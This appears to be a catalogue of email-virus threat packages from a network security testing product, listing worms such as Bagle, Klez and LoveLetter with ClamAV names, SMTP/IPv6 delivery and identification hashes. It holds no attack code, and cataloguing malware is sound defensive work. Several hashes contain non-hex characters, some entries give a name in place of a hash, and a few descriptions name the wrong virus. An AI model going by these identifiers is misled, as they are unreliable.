Detailed Description:	This is the email virus Worm.Microyano as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c1e96aelc3b4489d7f47c8ccd8575164. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Shuq.e.e.a7b6351e.xml
Executive Description:	Email Virus Email-Worm.Win32.Shuq.e.e
Detailed Description:	This is the email virus Email-Worm.Win32.Shuq.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Shuq.e.e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Urick.b.3f3f41fc.xml
Executive Description:	Email Virus Worm.Urick.b
Detailed Description:	This is the email virus Worm.Urick.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3f3f41fcd42add8c8aa3f9b6blafd379. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.2b4261bc_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2b4261bcdff2eb2221ec9320f3dfoec3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yoxec.ff2f730a.xml
Executive Description:	Email Virus Worm.Yoxec

Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ff2f730a128fdae06231ee2f2ee09e55. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.BadassWorm.af3d7ff4_IPv6.xml
Executive Description:	Email Virus W32.BadassWorm (IPv6 Version)
Detailed Description:	This is the email virus W32.BadassWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: af3d7ff4ffeb830876c0bccdc682f6b8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lorda.64b1e500_IPv6.xml
Executive Description:	Email Virus Worm.Lorda (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lorda as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 64b1e50059eb7cb4fc08c96d4f94ddab. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.8b4e37d5.xml
Executive Description:	Email Virus Worm.Bagle.AG
Detailed Description:	This is the email virus Worm.Bagle.AG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8b4e37d50e8d559f7190381fb35c317e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Vote.b.f2c5b9ad_IPv6.xml
Executive Description:	Email Virus Worm.Vote.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Vote.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f2c5b9ad39375f4dce510b5b702984c7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	WScr.Unsafe.D.e26805de_IPv6.xml
Executive Description:	Email Virus WScr.Unsafe.D (IPv6 Version)
Detailed Description:	This is the email virus WScr.Unsafe.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e26805de2b66a154bff6be0c50631779. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Puron.b3df8b68_IPv6.xml
Executive Description:	Email Virus Worm.Puron (IPv6 Version)
Detailed Description:	This is the email virus Worm.Puron as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b3df8b68919e04f1edeb66d746cbeb80. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.65b6f958_IPv6.xml
Executive Description:	Email Virus Exploit.IFrame.Gen (IPv6 Version)
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 65b6f958f61f9255ebac1062f577d4dc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Brit.B.75e88297.xml
Executive Description:	Email Virus Worm.Brit.B
Detailed Description:	This is the email virus Worm.Brit.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 75e88297cb585fe4931ba9a6a469f101. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcaul.t.084d8243_IPv6.xml
Executive Description:	Email Virus Worm.Alcaul.t (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcaul.t as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 084d82431a296b27dc18cce0175c5bd0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Klexe.kle.fa4a807c.xml
Executive Description:	Email Virus Email-Worm.Win32.Klexe.kle
Detailed Description:	This is the email virus Email-Worm.Win32.Klexe.kle as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Klexe.kle. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Yoxec.1d7069df_IPv6.xml

Executive Description:	Email Virus Worm.Yoxec (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1d7069dfe6940d3c97b1f8c761ab3ba7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sober.L.96fd4a01.xml
Executive Description:	Email Virus Worm.Sober.L
Detailed Description:	This is the email virus Worm.Sober.L as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 96fd4a01db5a713236384498fbc5acd9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Assarm.ass.e3e151ac.xml
Executive Description:	Email Virus Email-Worm.Win32.Assarm.ass
Detailed Description:	This is the email virus Worm.Rous.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Assarm.ass. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Rous.A.ab46b2fe_IPv6.xml
Executive Description:	Email Virus Worm.Rous.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Rous.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ab46b2feb233f5ce78e01161c3688c02. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Vorgon.B.abf4792b.xml
Executive Description:	Email Virus Worm.Vorgon.B
Detailed Description:	This is the email virus Worm.Vorgon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: abf4792b65c116adca701f92b49cb421. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Ultratt.gz.f2f93898_IPv6.xml
Executive Description:	Email Virus W32.Ultratt.gz (IPv6 Version)
Detailed Description:	This is the email virus W32.Ultratt.gz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f2f9389899657155bc503e679e3b34a1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Silly.b.b.763748e3.xml
Executive Description:	Email Virus Email-Worm.Win32.Silly.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Silly.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Silly.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.SSIWG2.ssi.4b1e2c5a_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.SSIWG2.ssi (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.SSIWG2.ssi as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.SSIWG2.ssi. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Merkur.b.b.13a37ee0_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Merkur.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Merkur.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Merkur.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Ciosor.cio.ab0647ba_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Ciosor.cio (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Ciosor.cio. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.6be9c2b7_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6be9c2b76f58aa75722cdb7dfe2aabf9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	VBS.LoveLetter.D.42fea410.xml
Executive Description:	Email Virus VBS.LoveLetter.D
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 42fea410396557f74d2d58035676bc28. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Proud.e449f193_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Proud (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Proud as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e449f193bc7933e4f3d086cdf94edfc2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Backdoor.Rustock.B.28a56f3a_IPv6.xml
Executive Description:	Email Virus Backdoor.Rustock.B (IPv6 Version)
Detailed Description:	This is the email virus Backdoor.Rustock.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 28a56f3a53ca91e85185bb28541b43b7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Satan.7076ae22.xml
Executive Description:	Email Virus Worm.Satan
Detailed Description:	This is the email virus Worm.Satan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7076ae2218010470f4b69ac5b4bc0dec. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	MIRC.IRC.Mill.3.09f39e9a_IPv6.xml
Executive Description:	Email Virus MIRC.IRC.Mill.3 (IPv6 Version)
Detailed Description:	This is the email virus MIRC.IRC.Mill.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 09f39e9a90a97f01a4387fa8a6044167. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lacro.A.3f539f31_IPv6.xml
Executive Description:	Email Virus Worm.Lacro.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lacro.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3f539f312c5ab8f219a838808eb3ddce. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.62154693_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 621546937af4b6346e251822fd481634. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Stepaik.c.c.c4fae069_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Stepaik.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Stepaik.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Stepaik.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Gibe.1.9fa3a173_IPv6.xml
Executive Description:	Email Virus Worm.Gibe.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gibe.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9fa3a173b3a9f3ce3f70b420a76fb83c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.e.e.4f874b0b_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.e.e (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Dumaru.e.e.7c5b9ad2_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Dumaru.e.e (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Dumaru.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Dumaru.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Doday.c6be62c1_IPv6.xml
Executive Description:	Email Virus Worm.Doday (IPv6 Version)
Detailed Description:	This is the email virus Worm.Doday as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c6be62c1334a6fe95c0cb1faa2532199. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Pics.b.dab362e2_IPv6.xml
Executive Description:	Email Virus Worm.Pics.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Pics.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dab362e23d98a3ba9be4b577ea44be6e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.BubbleBoy.msg.bb7b91d1_IPv6.xml
Executive Description:	Email Virus Worm.BubbleBoy.msg (IPv6 Version)
Detailed Description:	This is the email virus Worm.BubbleBoy.msg as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb7b91d1685db89b58ac01a72921e632. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.680d191a.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 680d191af9028ed837422070c8e21699. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Bizon.biz.6100093b.xml
Executive Description:	Email Virus Email-Worm.MSWord.Bizon.biz
Detailed Description:	This is the email virus Email-Worm.MSWord.Bizon.biz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Bizon.biz. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Rayman.blb65950_IPv6.xml
Executive Description:	Email Virus Worm.Rayman (IPv6 Version)
Detailed Description:	This is the email virus Worm.Rayman as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: blb659508a4288ae1278adbaea88dbd3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Updater.f.f.94148e69.xml
Executive Description:	Email Virus Email-Worm.Win32.Updater.f.f
Detailed Description:	This is the email virus Email-Worm.Win32.Updater.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Updater.f.f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Klez.E.25ef8d05.xml
Executive Description:	Email Virus Worm.Klez.E
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 25ef8d05728dd13a8c0dc90fad9bd81d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Arica.b.1165e819_IPv6.xml
Executive Description:	Email Virus Worm.Arica.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Arica.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1165e819f5aae4cb58780e6ble13296b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lorda.7d2654a6_IPv6.xml
Executive Description:	Email Virus Worm.Lorda (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lorda as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7d2654a663225951edd5b055bbca5ee4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yaha.G-2.b63eae8c_IPv6.xml
Executive Description:	Email Virus Worm.Yaha.G-2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yaha.G-2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b63eae8cfefb0a3f7a05504933dcea5d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	Worm.Heath.c.9a6ae361_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9a6ae3612ff7ca051c7b828087ef73a9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Talorm.88d0606e.xml
Executive Description:	Email Virus Worm.Talorm
Detailed Description:	This is the email virus Worm.Talorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 88d0606ebdabe3e8b237c480adfa848. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Allfree.A.bf006f50_IPv6.xml
Executive Description:	Email Virus VBS.Allfree.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.Allfree.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bf006f50d4a5149d7845b416cf538e32. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Jerm.c.bc74b5f2.xml
Executive Description:	Email Virus Worm.Jerm.c
Detailed Description:	This is the email virus Worm.Jerm.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bc74b5f218ae107463a128e292b56032. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Kielhorn.17966efb.xml
Executive Description:	Email Virus Worm.VBS.Kielhorn
Detailed Description:	This is the email virus Worm.VBS.Kielhorn as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 17966efb88a79d14461438e48c36140c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Psych.85de9cbe.xml
Executive Description:	Email Virus Worm.Psych
Detailed Description:	This is the email virus Worm.Psych as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 85de9cbebf1ff04f8df17182276c03a8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lovgate.S.809c50d2.xml
Executive Description:	Email Virus Worm.Lovgate.S
Detailed Description:	This is the email virus Worm.Lovgate.S as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 809c50d245b45614f8b27de98bc828a9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Buzill.b.b.64407db1.xml
Executive Description:	Email Virus Email-Worm.Win32.Buzill.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Buzill.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Buzill.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.41f04b64.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 41f04b6455e0dc64cbe6370505d9a6a5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Urbe.c.c.93296357.xml
Executive Description:	Email Virus Email-Worm.Win32.Urbe.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Urbe.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Urbe.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fbound.C.d1b4f623_IPv6.xml
Executive Description:	Email Virus Worm.Fbound.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Fbound.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d1b4f623a52c9defb4430ff585d5d41. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.PicaWorm.B.d18f2497_IPv6.xml
Executive Description:	Email Virus VBS.PicaWorm.B (IPv6 Version)
Detailed Description:	This is the email virus VBS.PicaWorm.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d18f24972f7cec2fc65c138f235f4380. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Mylife.h.h.fa93efd3.xml
Executive Description:	Email Virus Email-Worm.Win32.Mylife.h.h
Detailed Description:	This is the email virus Email-Worm.Win32.Mylife.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Mylife.h.h. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Ypsan.b.b.12592fae_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Ypsan.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Ypsan.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Ypsan.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Yarner.a.a.64218ac8.xml
Executive Description:	Email Virus Email-Worm.Win32.Yarner.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Yarner.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Yarner.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Merlin.b.71c0c1d5.xml
Executive Description:	Email Virus Worm.Merlin.b
Detailed Description:	This is the email virus Worm.Merlin.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 71c0c1d50b4b30e09e4877e5a554aa71. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Picris.7e4051e2.xml
Executive Description:	Email Virus Worm.Picris
Detailed Description:	This is the email virus Worm.Picris as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7e4051e20c1a5f69a286828d1891109f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Worm.Choke.b14bacd6.xml
Executive Description:	Email Virus W32.Worm.Choke
Detailed Description:	This is the email virus W32.Worm.Choke as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b14bacd6ff439f81c08cc649bdd7a912. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.6a96c7fc.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6a96c7fca9ae43ff09f9edd2c86b7888. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SCO.A.53df3909.xml
Executive Description:	Email Virus Worm.SCO.A
Detailed Description:	This is the email virus Worm.SCO.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 53df39092394741514bc050f3d6a06a9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Petik.J.4ec0004f.xml
Executive Description:	Email Virus Worm.Petik.J
Detailed Description:	This is the email virus Worm.Petik.J as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4ec0004fb7f700df736ae4d3c2c22919. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.ecafc7fa_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)

Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ecafc7fa4592920ca0948de98493a758. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Fbound.C.08c40dc6_IPv6.xml
Executive Description:	Email Virus Worm.Fbound.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Fbound.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 08c40dc60ab7a74f5a895aab83080a5e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.VBS.Flames.A.9e48c5d1_IPv6.xml
Executive Description:	Email Virus Trojan.VBS.Flames.A (IPv6 Version)
Detailed Description:	This is the email virus Trojan.VBS.Flames.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9e48c5d102f54ae642644eee3f330a43. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Scamblcr.df24e1cc.xml
Executive Description:	Email Virus W32.Scamblcr
Detailed Description:	This is the email virus W32.Scamblcr as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: df24e1ccceb3c75dada950alc1abca4d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.626cfb5b_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 626cfb5bab849e6e714cf03398a8e5e5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Gong.4e56c693_IPv6.xml
Executive Description:	Email Virus Worm.Gong (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gong as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4e56c6937f041279bc4d8308d6fe6bc5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Veryfun.9b42816a.xml
Executive Description:	Email Virus Worm.Veryfun
Detailed Description:	This is the email virus Worm.Veryfun as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9b42816albaa0e682876e8e2179d6158. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Menace.men.8de2cf46.xml
Executive Description:	Email Virus Email-Worm.Win32.Menace.men
Detailed Description:	This is the email virus Email-Worm.Win32.Menace.men as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Menace.men. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Energy.27def401_IPv6.xml
Executive Description:	Email Virus Worm.Energy (IPv6 Version)
Detailed Description:	This is the email virus Worm.Energy as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 27def401b53e00de725c0572da3c8bdc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
